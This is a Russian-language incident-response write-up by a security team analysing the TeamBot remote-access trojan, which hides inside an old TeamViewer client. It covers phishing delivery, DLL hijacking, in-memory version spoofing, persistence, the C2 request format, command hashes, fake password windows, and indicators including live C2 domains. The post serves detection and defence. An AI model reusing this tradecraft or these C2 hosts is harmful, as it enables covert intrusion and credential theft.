В октябре 2021 года к нам в Solar JSOC CERT поступил запрос: одна крупная технологическая компания попросила помочь в расследовании инцидента. В процессе работы мы обнаружили старую знакомую - вредоносную DLL TeamBot (aka TeamSpy, TVSPY, TeamViewerENT, TVRAT), которая загружалась легитимной утилитой TeamViewer. Это ВПО уже лет 10 фигурирует в отчетах как отечественных, так и зарубежных ИБ-компаний. Но за эти годы TeamBot научился кое-чему новому, о чем мы и расскажем в этом посте.

Вектор атаки

Итак, TeamBot в основном распространяется через фишинг (какая неожиданность!). В нашем кейсе жертвы получали вот такие письма:

Архив содержал текстовый файл "Код 0921.txt", имя которого является паролем для распаковки внутреннего архива с полезной нагрузкой.

Аналогичная структура архива фишингового письма описывается в статье наших коллег из Dr.Web. «В приложенном архиве находится защищенный RAR-архив и текстовый файл с паролем. В архиве находится дроппер в виде самораспаковывающегося RAR’а, внутри которого лежит сам BackDoor.RMS.180.»

Исполняемый файл архива представлял из себя установщик NSIS (Nullsoft Scriptable Install System – https://nsis.sourceforge.io), который при запуске в тихом режиме распаковывал следующие файлы в каталог %PROGRAMDATA%\ViberPC\icons:

Файл

Описание

Teamviewer_Resource_ja.dll

Легитимный DLL-файл TeamViewer 5.0.7687.0, необходимый для его работы

TV.dll

Вредоносный DLL-файл TeamBot

Uniprint.exe

TeamViewer Quick Support (TVQS) 5.0.7687.0

vpn.cab

Легитимный cab-архив с файлами для установки vpn-адаптера TeamViewer

Далее запускался файл Uniprint.exe (далее – процесс TeamViewer) с аргументом fUniPrint.exe f.

Вредоносная DLL, располагаемая рядом с Uniprint.exe, через технику DLL Hijacking загружалась процессом TeamViewer.

В статье Dr.Web, упомянутой выше, в составе BackDoor.RMS.180 для легитимной утилиты удаленного управления использовалось аналогичное имя – Uniprint.exe:

«Состав самораспаковывающегося дроппера:

libeay32.dll (f54a31a9211f4a7506fdecb5121e79e7cdc1022e), чистый;

ssleay32.dll (18ee67c1a9e7b9b82e69040f81b61db9155151ab), чистый;

UniPrint.exe (71262de7339ca2c50477f76fcb208f476711c802), подписан действительной подписью;

WinPrint.exe (3c8d1dd39b7814fdc0792721050f953290be96f8), подписан действительной подписью;

winspool.drv (c3e619d796349f2f1efada17c9717cf42d4b77e2) — основной вредоносный модуль, обеспечивающий скрытую работу Remote Utilities.»

Анализ TV.dll

Вредоносная DLL – 32-разрядный файл, скомпилированный 31.08.2021 07:21:32 UTC. Он имеет идентичные оригинальной DLL метаданные и pdb-путь, но экспортируемые функции отличаются, а цифровая подпись отсутствует. Cравните:

Для сравнения в качестве оригинальной TV.dll была использована следующая:

MD5

2f87102bd8f9c562155932dc64bb2074

SHA-1

31397b16d0bb02c0f62a6cb1fbdfbaf8318e397e

SHA-256

49476faa2316fead6927512a39a5e72c0c0b72959ab127d3e1fb760b7d78500c            

Техники для усложнения анализа (anti-analysis)

1. Шифрование домена и пути сервера управления (далее – C2).

Для шифрования применяется операция NOT к каждому байту домена и пути C2. В некоторых образцах данные C2 представлены в незашифрованном виде, но после запуска шифруются. Зашифрованные домен и путь С2 чаще всего располагаются рядом и разделены несколькими 0x00-байтами:

2. Использование StrChr + wsprintf

С помощью WinAPI-функций StrChr выполняется поиск нужных подстрок, а wsprintf используется для формирования конечной строки.

3. Использование хешей API-вызовов при динамическом импорте

Псевдокод алгоритма хеширования:

api_hash = crc32("<api_name>") ^ xor_key,

где <api_name> имя API-вызова, например, LoadLibraryA;

xor_key – 0x435A88 (Uniprint.exe OptionalHeader.CheckSum) или 0x4B4CA51F (Uniprint.exe FileHeader.TimeDateStamp).

Кстати, аналогичным образом кодируются команды, получаемые от C2.

4. Получение строк по raw-смещению из указанного PE-файла

Строки берутся из легитимного файла TeamViewer.exe (в данном случае Uniprint.exe) по смещению.

5. Anti-debug техника через поиск окна OllyDbg, но со своими особенностями

Злоумышленники используют WinAPI-функцию FindWindow для поиска окон с заголовками "ollyDbG" и "ollyDb":

Особенность в том, что вместо стандартного поведения – после обнаружения окна завершать программу – злоумышленники изменяют значение xor-ключа. Из-за этого не происходит динамической загрузки API, а значит, не устанавливаются хуки на функции, а весь основной функционал содержится в хуках.

Перехват функций с помощью библиотеки MinHook

Для установки хуков на функции использовалась библиотека с открытым исходным кодом MinHook. Совпадение по коду видно на следующем примере:

Стоит отметить, что аналогичная библиотека использовалась BackDoor.RMS.180 в кейсе, описанном Dr.Web: «Далее приступает к перехвату API-функций. Для этого использует библиотеку MinHook

Начальный этап запуска

После загрузки в легитимный процесс Uniprint.exe (переименованный Teamviewer.exe) вредоносная DLL выполняет несколько проверок:

1. Killswitch-проверка

Определяет наличие файла foobar.jpg на рабочем столе текущего пользователя:

При наличии файла происходит завершение процесса TeamViewer.

2. Проверка процесса TeamViewer

Выполняется путём проверки контрольной суммы файла или даты его компиляции:

OptionalHeader.CheckSum == 0x435A88

FileHeader.TimeDateStamp == 0x4B4CA51F (12.01.2010 16:36:47 UTC)

Аналогичные действия выполнял и BackDoor.RMS.180 из кейса  Dr.Web: «Затем бэкдор проверяет, в контексте какого исполняемого файла он работает. Для этого проверяет значение IMAGE_NT_HEADERS.OptionalHeader.CheckSum основного исполняемого модуля:»

 3. Проверка отсутствия тестового режима Windows

Тестовый режим в Windows позволяет установить драйверы без цифровой подписи.

Если данный режим включен, то происходит изменение xor-ключа. Из-за этого не выполняется динамический импорт API-вызовов и не устанавливаются хуки на функции.

Когда все проверки успешно пройдены, выполняется обработка аргументов командной строки и установка хуков на различные WinAPI-функции.

Подключение старой версии клиента TeamViewer к серверам

Чтобы получить удаленный доступ к жертве, злоумышленники используют довольно старый файл Uniprint.exe. Это легитимный файл TeamViewer QuickSupport 2010 года выпуска. Версия файла 5.0.7687. Вероятнее всего, использование такой старой версии обусловлено наличием в ней уязвимости к технике DLL Hijacking. При запуске данного файла без вредоносной библиотеки TV.dll он не подключается к серверам TeamViewer, не переходит в режим онлайн и, соответственно, не может предоставить удаленный доступ.

В рассматриваемой версии TeamBot рядом с вредоносной DLL и процессом TeamViewer находилась легитимная DLL Teamviewer_Resource_ja.dll, которая содержала в себе строки интерфейса TeamViewer на японском языке. Скорее всего, это было сделано для усложнения взаимодействия исследователей с TeamViewer. Приведем скриншот основного окна TeamViewer после запуска без изменения версии (для удобства приводим справа скриншот аналогичного окна англоязычной версии программы):

Для того чтобы такой старый файл мог подключаться к серверам TeamViewer и предоставлять удаленный доступ, злоумышленники перед установкой хуков изменяют значение версии в памяти процесса TeamViewer:

Функция mw_replace_tv_version выполняет поиск страниц памяти, которые удовлетворяют следующим требованиям:

  • состояние страницы MEM_COMMIT;

  • тип страницы MEM_PRIVATE;

  • права доступа PAGE _READWRITE.

Далее в найденных страницах выполняется последовательное сравнение 16 байт, пока не будет обнаружена UTF16-LE строка "5.0.7687".

После обнаружения данной строки происходит замена "5.0.7" на "15.0.", в результате чего версия становится "15.0.687".

Это приводит к тому, что дальше процесс TeamViewer будет обращаться к другим адресам, актуальным для старой, 15-й, версии. Данное значение версии будет отправляться на эти серверы, что в конечном итоге приведет к успешному соединению и статусу «онлайн»:

Мы также попробовали применить данный прием на другой старой версии TeamViewer Quick Support – 5.1.17330 QS – и срабатывало!

Такая техника замены версии перестала работать примерно с ноября 2021 года. Скорее всего, производитель (компания TeamViewer) ввел дополнительные проверки.  Здесь стоит отдельно отметить, что из-за неработающей техники замены версии злоумышленники потеряли только возможность удаленного управления через TeamViewer. RAT-функционал, реализуемый вредоносной DLL, остался и позволял выполнять команды управления, получаемые с C2.

Аргументы командной строки

Вредоносная DLL поддерживает следующие аргументы командной строки, которые передаются процессу TeamViewer:

Аргумент

Описание

f

Выполняется перезапуск легитимного процесса TeamViewer без аргументов командной строки через WMI с помощью COM-интерфейса IWbemServices и вызов метода Win32_Process::Create.

k

Удаляет все файлы и методы закрепления, завершает свои процессы.

w <value>

<value> – задержка в секундах

Задает задержку перед запуском основного кода оркестратора

Хук user32.CreateDialogParamW. Закрепление и запуск RAT-потока

Большинство хуков предназначены для сокрытия окон TeamViewer
и обеспечения его работы в тихом режиме. Общий список API-функций, на которые устанавливаются хуки, приведен ниже.

Раскрыть список

Хуки kernel32.dll

CreateFileW

CreateMutexA

CreateDirectoryW

MoveFileW

MoveFilewExW

Хуки user32.dll

CreateDialogParamW

RegisterClassExW

CreateWindowExW

MoveWindow

SetWindowPos

ShowWindow

Shell_NotifyIconW

InvalidateRect

MessageBoxA

MessageBoxW

IsWindowVisible

BringWindowToTop

SetForegroundWindow

SetFocus

FindWindowW

SystemParametersInfoW

Хуки shell32.dll

RegCreateKeyExW

RegOpenKeyExW

Хуки iphlpapi.dll

GetAdaptersInfo

Хуки wintrust.dll

WinVerifyTrust

 Хуки wsock32.dll

bind

Остановимся на описании кода хука, который запускает потоки опроса C2 и выполнения команд, а также другие ключевые действия. Итак, что же делает хук:

  • Делает окна процесса TeamViewer невидимыми и убирает текст их заголовков. В итоге пользователь не видит окна и журнал копирования файлов, а также окна отсутствия соединения с серверами TeamViewer.

  • В каталоге с вредоносной DLL запускает все файлы с расширением pdll
    (они распаковываются с помощью WinAPI-функции RtlDecompressBuffer и инжектируются в создаваемый процесс "%system_directory%\rundll32.exe" -svcr "%pdll-file%").

  • Добавляет входящее правило брандмауэра "UniPrint Manager", разрешающее входящий трафик исполняемому файлу Uniprint.exe:

  • Создает и запускает службу USBManager (отображаемое имя USB Ports Manager), которая запускается в рамках легитимного процесса svchost.exe в своей группе – USBPortsManagerGrp. Командная строка для запуска: %%SYSTEMROOT%%\system32\svchost.exe -k "USBPortsManagerGrp" -svcr "<имя_исполняемого_файла_TeamViewer>". Служба обеспечивает закрепление (persistence) TeamBot в системе путём запуска процесса, указанного в параметре -svcr, для каждого пользователя, осуществляющего logon (событие WTS_SESSION_LOGON) с правами данного пользователя.

  • Записывает данные "UniPrint.exe f" в значение с именем исполняемого файла в ключ HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce.

  • Запускается поток получения и обработки команд с C2.

Взаимодействие с C2

По умолчанию интервал опроса C2 – 60 секунд. Значение может изменяться при получении новых данных с C2. Если значение меньше 10 секунд, то интервал опроса снова устанавливается в значение по умолчанию.

При каждом опросе выполняются следующие действия:

  • отправка и получение данных с C2;

  • обновление конфига TeamBot в TeamViewer.ini;

  • актуализация данных для подключения к C2.

Структура данных отправляемых на C2 (максимальный размер – 4096 байт):

Поле структуры запроса

Описание

word data_size

размер пакета

dword magic

0x832EB9B

word reserved

0x0102 по умолчанию

char reserved

0x01 по умолчанию

char bool_svc_created_and_running

0x1, если служб USBManager создана
и запущена

char is_WoW64_process

0x1, если процесс TeamViewer запущен на 64-разрядной ОС.

char is_local_admin

0x1, если пользователь член группы «Администраторы»

char is_elevated_token

0x1, если пользователь имеет права администратора

char c2_action_return_code

0x0 по умолчанию

код возврата выполненной команды, полученной с С2

char bool_is_vpn_service_installed

0x1, если установлена легитимная служба teamviewervpn (есть C2-команда vpn).

word reserved

0x0 по умолчанию

char reserved

0x17 по умолчанию

char is_workstation_or_server

определяется c помощью Netapi32.NetServerGetInfo

dword mb_session_id

0x0 по умолчанию.

Вероятно, идентификатор сессии. Значение получается с C2

dword crc32_username_fqdn_hostname_sid

CRC32("username"+"fqdn_hostname"+"sid_str")

dword win_major_version

версия и номер построения ОС Windows

dword win_minor_version

dword win_build_number

dword screenshot_buffer_size

размер скриншота рабочего стола в байтах

dword c2_action_output_buffer_size

0x0 по умолчанию.

Размер буфера, содержащего вывод выполненной команды, полученной с C2.

dword cleartext_user_password_length

Длина строки пароля пользователя из раздела [PWD] файла TeamViewer.ini для значения fqdn_hostname\username

char username[]

Имя пользователя

char fqdn_hostname[]

hostname в формате в формате ComputerNameDnsFullyQualified

char lowercased_locale[]

значение локали пользователя в нижнем регистре

char cleartext_user_password[] (if length != 0)

Пароль пользователя из раздела [PWD] файла TeamViewer.ini для значения fqdn_hostname\username в открытом виде

char fg_window_titlebar_text[]

Текст заголовка активного окна пользователя

char tv_file_full_path[]

Полный путь к исполняемому файлу TeamViewer (Uniprint.exe)

char TV_ID[]

Значение TeamViewer ID и пароля клиента TeamViewer для подключения к жертве.

TeamBot программно получает эти данные из невидимого главного окна.

char TV_password[]

Данные запроса перед отправкой шифруются с использованием алгоритма RC4. Ключ – доменное имя C2 (например, "widolapsed[.]info").

Данные отправляются по протоколу http/https (в зависимости от конфигурации) POST-запросом следующего формата:

Формат запроса:

Заголовки:

POST /C4E23A5C/ HTTP/1.1

Cache-Control: no-cache

Content-Length: 37194

Content-Type: multipart/form-data; boundary=--------<random_dword_from_RtlRandom>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; DynGate)

Host: widolapsed.info (RC4_key)

Connection: close

----------<random_dword_from_RtlRandom>

Content-Disposition: form-data; name="k"

Content-Type: text/plain

Content-Transfer-Encoding: binary

Данные:

RC4_encrypted_header RC4_encrypted_screenshot RC4_encrypted cmd_output

В качестве User-Agent используется легитимный агент TeamViewer процесса.

Формат ответа:

Поле структуры ответа

Описание

dword magic

Если равно 0x832EB9B, то записать новые параметры подключения к C2 в раздел [Settings] в файл TeamViewer.ini и выполнить команду с С2 при её наличии

word c2_poll_interval

Интервал опроса C2 в секундах

dword mb_session_id

Вероятно, идентификатор сессии

char use_new_c2_delay_ht_value

Задержка в часах перед сменой данных о подключении к C2 (домен, путь, http/https) на полученные в данном ответе.

Значение записывается в значение "ht" в разделе [Settings] в файле TeamViewer.ini..

char bool_use_https_hsn_value

использовать ли протокол https при взаимодействии с C2. Значение записывается в значение "hsn" в разделе [Settings] в файле TeamViewer.ini

word c2_domain_length

Длина строки нового C2 домена

word c2_path_length

Длина строки нового C2 пути

word run_c2_dispatch_command_thread

Имеется ли команда для выполнения

char c2_domain_hdn_value[]

Строка нового C2 домена

char c2_path_hpn_value[]

Строка нового C2 пути

char c2_cmd_string[]

Строка команды от C2 в формате:

action_name action_arg1 action_arg2…

Конфигурация TeamBot в ini-файле

Конфигурация TeamBot сохраняется в легитимном файле TeamViewer.ini. Помимо стандартных настроек конфигурации TeamViewer (например, LogIncomingConnections = 0 для отключения логирования входящих соединений), есть и настройки, относящиеся непосредственно к TeamBot:

Для лучшего понимания значений параметров приведем подробный разбор формата их записи.

hdn / hdc – вероятно "host domain new" и "host domain current".

Символы n и c отражают тип параметра:

Формат записи параметров подключения:

h<parameter_name><parameter_type>, где

<parameter_name> может принимать следующие значения:

  • d – domain;

  • p – path;

  • s – security.

<parameter_type> может принимать следующие значения:

  • n ("new") – параметры, начинающиеся на h и оканчивающиеся на n, относятся к новым данным для подключения к C2;

  • c ("current") – параметры, начинающиеся на h и оканчивающиеся на c, относятся к текущим данным для подключения к С2.

TeamBot при каждом опросе в качестве C2 использует current-значения из ini-файла. Если current-значений нет, то используются параметры C2, вшитые во вредоносную DLL. Новые данные для подключения от C2 записываются в new-значения в ini-файле и становятся current-значениями только после наступления времени, которое задается параметром gd (в формате unix timestamp). Схема ротации C2:

Под спойлером - описание всех возможных параметров TeamBot в ini-файле.

Спойлер

Параметр конфигурации

Описание

Раздел [Settings]

new параметры задают новые данные для подключения к C2 после устаревания старых данных

hdn

"host domain new"

Домен C2.

Пример, reneagemones.info

hpn

"host path new"

Путь C2.

Пример, /C4E23A5C/

hsn

"host security new"

Использовать ли протокол https для подключения к С2.

По умолчанию 0x1

current параметры отображают текущие данные для подключения к C2

hdс

"host domain current"

Домен C2.

Пример, reneagemones.info

hpс

"host path current"

Путь C2.

Пример, /C4E23A5C/

hsс

"host security current"

Использовать ли протокол https для подключения к С2.

По умолчанию 0x1

Временные параметры

ht

"host time"

Время задержки перед использованием «новых» данных для подключения к C2 в часах.

gd

Метка времени, после которой необходимо обновить данные для подключения к C2.

Задается в формате UNIX timestamp.

gd = current_unix_time + 3600 * ht

<tv_vpn_service_name>

Полный путь до установочного файла vpn-службы TeamViewer.

Пример, install.exe из архива vpn.cab

Раздел [PWD]

В данном разделе сохраняются пароли учетных записей в открытом виде, которые получаются после ввода паролей в фейковые окна ввода паролей, которые может отображать TeamBot

Ключи формата

<fqdn_formatted_hostname>\
<username>

Пароль пользователя в открытом виде, полученный с помощью фейковых окон на защищенном рабочем столе

Разделы [<SID_string>],

Где <SID_string> – SID-строка пользователя

gd

Случайно сгенерированное ID-пользователя, которое записывается в ini-файл по команде 0x5D22927C ("genid")

Список команд

Последний параметр в ответе C2 – строка команды в формате: action_name action_arg1 action_arg2…

Внутри TeamBot над action_name выполняются следующие преобразования:

encrypted_action_name = CRC32(action_name) ^ xor_key, где xor_key = 0x435A88 (Uniprint.exe OptionalHeader.CheckSum) или 0x4B4CA51F (Uniprint.exe FileHeader.TimeDateStamp).

Поэтому все команды в коде TeamBot представляют собой 4-байтовые последовательности.

Аналогичное кодирование и названия команд присутствовали в статье компании Avast в 2017 году : «The communication via the TeamViewer chat allows for the basic backdoor functionalities to be performed: applist, wcmd, ver, os, vpn, locale, time, webcam, genid. Inside the TeamSpy code, these commands are compared to their crc32 checksums, so collisions can very easily happen. Because crc32(wcmd) = 07B182EB = crc32(aacvqdz), both of these commands are interchangeable.»

Таблица совпадений команд TeamBot

Команды из статьи Avast 2017

Команды TeamBot 2021

wcmd

cmdw

vpn

vpn

genid

genid

Команды TeamBot 2021

Команда

Описание

Сервисные (utility) команды

kill

0x076A0CE1

Самоудаление

update

0x98666FF0

Выполнить обновление компонентов.

Если аргументов нет, то распаковать файл update.cab в каталоге с вредоносной DLL и удалить его. Иначе загрузить cab-файл с указанного URL в файл с именем u%long_int_value_from_RtlRandom%.cab, далее распаковать и удалить

stop

0xB9154C3E

Остановка и удаление службы USBManager

reboot

0xC110DE04

Перезагрузка хоста

poweroff

0xE6F1017F

Выключение хоста

genid

0x5D22927C

Сгенерировать случайный ID текущему пользователю и записать его в значение gd в разделе [SID-str] в -файл TeamViewer.ini.

Перезапустить процесс TeamViewer с аргументом " w 5"

Команды взаимодействия с TeamViewer

expired

0x190CB7C3

Генерация нового пароля TeamViewer

genpass

0x4231AB6

vpn

0x2A4BA2D1

Установка/удаление легитимной службы teamviewervpn

restart

0xE7BA788F

Перезапуск процесса TeamViewer

Команды для загрузки / запуска

cmd

0x2F1F4648

cmd (no window, without waiting for completion).

Выполнить указанную команду с помощью ShellExecuteExA

cmdvw

0x2965D6C5

cmdwv

0x4779D712

cmdwv (w – wait for completion, v – visible window).

Выполнить указанную команду с помощью ShellExecuteExA

cmdw

0x876BCF36

cmdw (wait for completion).

Выполнить указанную команду с помощью ShellExecuteExA

cmdv

0xF06CFFA0

cmdv (v – visible window, without waiting for completion).

Выполнить указанную команду с помощью ShellExecuteExA

cmdr

0xF7013BB9

cmdr (r – result)

В тихом режиме выполнить команду с помощью CreateProcess и "%system_dir%/cmd.exe" /c.

Вывод команды отправить на С2

dwl

0x94A62224

dwl (only download).

Загрузить указанный файл с C2 на хост жертвы в указанный каталог

dwlr

0xB3BEAFAE

dwlr (download and run).

Загрузить файл с C2 с указанного URL и сохранить в указанный каталог

dlldwlr

0x539B9257

Загрузить pdll-файл с сервера C2 в указанный каталог и запустить его.

pdll-файл распаковывается с помощью WinAPI-функции RtlDecompressBuffer и инжектируется в создаваемый процесс "%system_directory%\rundll32.exe" -svcr "%pdll-file%"

rundll

0xDF32D24A

Запустить указанный pdll-файл.

pdll-файл распаковывается с помощью WinAPI-функции RtlDecompressBuffer и инжектируется в создаваемый процесс "%system_directory%\rundll32.exe" -svcr "%pdll-file%"

killdll

0xD4C57BA8

Удаление конкретной или всех pdll-файлов из текущего каталога вредоносной DLL

Отображение фейковых окон с ошибками

fuac

0xC52DEDF4

Данные команды предназначены для отображения на защищенном рабочем столе различных фейковых окон с вводом учетных данных, чтобы получить пароль пользователя в открытом виде. Стоит отметить, что выйти из защищенного рабочего стола можно только при правильном вводе пароля. В противном случает потребуется его повторный ввод.  Пароль записывается в открытом виде в раздел [PWD] в значение <fqdn_formatted_hostname>\<username> в файл TeamViewer.ini.

 

Функционал реализуется через вызов экспортной функции #401 вредоносной DLL с различными аргументами:

"%system_dir%\rundll32.exe" "%TV_dll_full_path%",#401 <cmd_argument> "%TV_executable_full_path%",

где <cmd_argument> зависит от команды:

fuac – u;

fake – f;

ferror – e.

fake

0xCD8EABE7

ferror

0xF4D35C00

Ниже приведены примеры фейковых окон:

Аргумент "f" без прав администратора:

Остальные аргументы и сообщения об ошибках:

Внутренняя структура данных веб-панели C2

На C2 также был поднят веб-сервер. При открытии URL С2 в браузере появляется форма с логином, паролем и CAPTCHA. Логина и пароля у нас не было, но мы заметили, что среди статических файлов, которые загружаются при посещении панели логина, был js-скрипт main.js на ~3700 строк. В первой строке файла была видна версия ботнета:

Файл предназначался для корректного отображения динамического контента при работе в панели управления ботнетом, не содержал самих данных, но раскрывал их внутреннюю структуру.

Судя по полученному js-файлу веб-панель управления TeamBot имела следующие стандартные возможности:

  • управление пользователями;

  • управление как одним ботом, так и несколькими;

  • подробная информация по каждому отдельно взятому боту;

  • механизм создания / выполнения задач;

  • получение статистической информации;

  • возможность управления через telegram-бота.

POST-методы панели ботнета:

timezones, getbots, comment, screenshot, gettasks, getgtasks, cleartask, addtask, addgtask, removetask, removegtask, remove, logout, getfiles, uploadfile, removefile, removeuser, tgbotstate

GET-метод панели ботнета – statistic.

Поля таблицы ботов:

bot_id, ip, country, os, lastwnd, runasadmin, tasks, comment, added_dt, last_dt, id, country_code, city, type, osmajor, osminor, oswks, osbuild, os64, lang, lang_code, service, compname, region, admin, username, cmdsupport, killsupport, screensm, vpn, dllmajor, dllminor, build, bot_pass, userpass.

Поля таблицы файлов:

id, date_added, user, filetype, filename, len, hash.

Поля таблицы пользователей:

id, login, lonline, roles.

Типы статистической информации

Заключение

С определенной долей уверенности можно сказать, что в атаках 2017  (отчет компании Avast), 2020 (отчет компании Dr.Web) и 2021 года использовалась одна кодовая база, которая просто дорабатывалась под конкретные нужды злоумышленников. Мы уверены, что это ещё не конец истории TeamBot, и злоумышленники продолжат его дорабатывать. Но есть и хорошие новости: большинство вредоносных DLL успешно детектируются антивирусами.

P.S

Индикаторы компрометации (IOC)

Образцы, исследуемые в статье:

Имя файла

SHA256

Комплект документов по запросу от 20.08.2021 БН.rar

0dcdfffae1d38b64f5b5165d3415172db747b2126f36320427302d2f9e989227

Комплект документов по запросу от 20.08.2021 БН.pdf.exe

258b364ab27f67fe67b70169cbf89998ad2bcf6e348d05e9426c40463f4e65e9

TV.dll

34137ec65921ebd1b68d8b76e6900c9ce49a1be3690685cc84049936ad28f995

Хостовые индикаторы:

Каталог %APPDATA%\ViberPC\icons\

Каталог %PROGRAMDATA%\ViberPC\icons\

Группа USBPortsManagerGrp

Служба USBManager (описание "USB Ports Manager")

Правило брандмауэра "UniPrint Manager"

 Сетевые индикаторы из рассматриваемой в статье вредоносной DLL:

widolapsed.info/C4E23A5C/

outnegorave.info/C4E23A5C/

reneagemones.info/C4E23A5C/

Сетевые индикаторы из других образцов кампании:

45.147.229.222/A9F5CA80/

tendiever.com/update/

widolapsed.info/B8C631A8/

novaleadfore.info/C85A35E0/

sump.tech/o2kmz/

outnegorave.info/B8C631A8/

outnegorave.info/DA560AB0/

Автор: Антон Каргин, инженер технического расследования "Ростелеком-Солар"

Комментарии (0)